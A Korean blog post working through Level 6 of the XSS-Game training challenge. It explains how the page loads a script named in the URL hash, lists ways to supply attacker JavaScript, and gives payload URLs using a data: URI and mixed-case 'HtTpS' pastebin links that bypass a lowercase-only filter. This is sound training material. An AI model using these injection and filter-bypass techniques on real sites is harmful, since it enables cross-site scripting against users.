ν‹°μŠ€ν† λ¦¬ λ·°

CHALLENGE

XSS-Game Level 6

🌧: 2020. 12. 1.
μ„€λͺ…(λ²ˆμ—­)

λ³΅μž‘ν•œ μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜μ—λŠ” URL  맀개 λ³€μˆ˜μ˜ κ°’ λ˜λŠ”. NET Framework의 일뢀에 따라 javascript 라이브러리λ₯Ό λ™μ μœΌλ‘œ load ν•˜λŠ” κΈ°λŠ₯이 μžˆλŠ” κ²½μš°κ°€ μžˆμŠ΅λ‹ˆλ‹€.  "location hash"

 

μ΄λŠ” 맀우 κΉŒλ‹€λ‘œμš΄ μž‘μ—…μž…λ‹ˆλ‹€. 슀크립트 λ˜λŠ” 기타 잠재적으둜 μœ„ν—˜ν•œ 데이터λ₯Ό load ν•  λ•Œ μ‚¬μš©μž μž…λ ₯이 URL에 영ν–₯을 λ―ΈμΉ˜λ„λ‘ ν—ˆμš©ν•˜λ €λ©΄ XMLHttpRequest μ’…μ’… μ‹¬κ°ν•œ 취약성을 μœ λ°œν•©λ‹ˆλ‹€.

 

μž„λ¬΄λͺ©ν‘œ: ν•  μˆ˜μžˆλŠ” 방법 μ°ΎκΈ° μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ μ™ΈλΆ€ 파일 μš”μ²­ν•˜κ²Œ 그것이 μ‹€ν–‰ν•˜κ²Œ λ©λ‹ˆλ‹€. alert().

 

ν•΄λ‹Ή 문제의 경우 URL μž…λ ₯κ°’ μ΄μ™Έμ—λŠ” 별닀λ₯Έ μ΄λ²€νŠΈκ°€ μ‘΄μž¬ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. μ „ λ‹¨κ³„μ—μ„œ 좜제자의 μ˜λ„λ₯Ό νŒŒμ•…ν•˜μ§€ μ•Šκ³  λ¬΄μž‘μ • μ°”λŸ¬λ΄€λ˜ κ²½ν—˜μ΄ μžˆκΈ°μ— μ΄λ²ˆμ—λŠ” 좜제자의 μ˜λ„λ₯Ό μš°μ„ μ μœΌλ‘œ νŒŒμ•…ν•˜λŠ” 것을 μš°μ„ μœΌλ‘œ μ§„ν–‰ν–ˆμ§€λ§Œ 쉽지 μ•ŠμŠ΅λ‹ˆλ‹€. μ™ΈλΆ€μ˜ μ•…μ˜μ μΈ JS νŒŒμΌμ„ λŒμ–΄μ˜¬λΌμ™€μ„œ μ„±κ³΅μ‹œν‚€λŠ” 건 촉이 μ˜€λŠ”λ° λ­”κ°€ ν•œ 가지 λ‹¨μ„œκ°€ λΆ€μ‘±ν•©λ‹ˆλ‹€.

 

..
..

// Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";

..
..

index.html μ†ŒμŠ€μ—μ„œ 찾은 μ˜μ—­μž…λ‹ˆλ‹€. //주석 달린 곳을 해석해보면 URL 상 "#" λ‹€μŒμ—λŠ” static/gadget.js λΌλŠ” νŒŒμΌμ„ λ‘œλ“œν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

μ™ΈλΆ€μ˜ νŒŒμΌμ„ 가져와야 될 것 같은 λŠλ‚Œμ€ μžˆμ—ˆμ§€λ§Œ 이게 # λ‹€μŒμœΌλ‘œ λ°”λ‘œ μ„ μ–Έν•  쀄은 λͺ°λžλ„€μš”. 그럼 /static/gadget.js 파일 λŒ€μ‹ μ— μ•…μ„± js νŒŒμΌμ„ load ν•΄μ„œ μ‹€ν–‰μ‹œν‚€λ©΄ 될 것 κ°™μŠ΅λ‹ˆλ‹€.

 

성곡방법 3가지

1. μžμ‹ μ˜ μ›Ή μ„œλ²„μ— μ•…μ˜μ μΈ js νŒŒμΌμ„ μ˜¬λ €λ‘κ³  load ν•œλ‹€.

2. Data URL Schema λΌλŠ” 방법을 μ‚¬μš©, μ™ΈλΆ€μ˜ 데이터λ₯Ό URL둜 ν‘œν˜„ν•œ 것

3. pastebin.com에 μžμ‹ μ˜ javascript ꡬ문을 μ—…λ‘œλ“œν•΄λ‘κ³  1번 λ°©μ‹μ²˜λŸΌ λΆˆλŸ¬μ˜¨λ‹€.

 

2번 λ°©μ‹μ˜ Data URL Schema 방식을 μ‚¬μš©ν•  땐 μœ„μ˜ μ‚¬μ§„μ²˜λŸΌ data:[자료 νƒ€μž…]:[데이터 방식]으둜 ν‘œν˜„λ©λ‹ˆλ‹€. μ•…μ˜μ μΈ νŒŒμΌμ„ λŒμ–΄μ˜¬λ¦΄ μ„œλ²„κ°€ μ˜μ—­μ΄ 없더라도 ν•΄λ‹Ή 방법을 μ΄μš©ν•΄μ„œ ν…ŒμŠ€νŠΈκ°€ κ°€λŠ₯ν•©λ‹ˆλ‹€.

 

Exploit Code

https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('xss');

 

pastebin.com μ‚¬μ΄νŠΈλ‘œ κ°€μ„œ μžμ‹ μ΄ μ›ν•˜λŠ” javascript ꡬ문을 ν•΄λ‹Ή μ‚¬μ΄νŠΈμ— μ—…λ‘œλ“œν•΄λ‘κ³  "raw" μ˜μ—­μœΌλ‘œ λ“€μ–΄κ°€μ„œ λ‚˜μ˜€λŠ” 도메인 μ£Όμ†Œ κ·ΈλŒ€λ‘œλ₯Ό κΈμ–΄μ˜€μ‹œλ©΄ λ©λ‹ˆλ‹€. pastebin을 μ΄μš©ν•  땐 expire 즉 λ‚΄κ°€ μ„ μ–Έν•œ νŽ˜μ΄μ§€κ°€ μ‚΄μ•„μžˆλŠ” 만료 기간을 λ”°λ‘œ μ •ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

..
..

 setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
 return;

..
..

index.html μ†ŒμŠ€λ₯Ό λ‹€μ‹œ ν™•μΈν•΄λ³΄λ‹ˆ ν•΄λ‹Ή νŒŒμΌμ„ 뢈러올 λ•Œ "http"κ°€ ν¬ν•¨λ˜μ–΄ 있으면 μž‘λ™μ΄ μ•ˆ λ˜λ„λ‘ μ„€μ •λ˜μ–΄ μžˆλ„€μš”. μ•„λ¬΄λž˜λ„ μž„μ˜μ˜ 파일이 load λ˜λŠ” 것을 λ°©μ§€ν•˜κΈ° μœ„ν•œ μ˜λ„λ‘œ λ³΄μ΄μ§€λ§Œ μ†Œλ¬Έμž κΈ°μ€€μœΌλ‘œλ§Œ κ²€μ¦μ„ μ§„ν–‰ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

 

Exploit Code

https://xss-game.appspot.com/level6/frame#HtTpS://pastebin.com/raw/qmLyD5jc

https://xss-game.appspot.com/level6/frame#HTTPs://pastebin.com/raw/qmLyD5jc

'CHALLENGE' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

XSS Challenges 1  (0) 2020.12.03
XSS Challenges 0  (0) 2020.12.02
XSS-Game Level 5  (0) 2020.11.30
XSS-Game Level 4  (0) 2020.11.29
XSS-Game Level 3  (0) 2020.11.28
κ³΅μœ ν•˜κΈ° 링크
Comment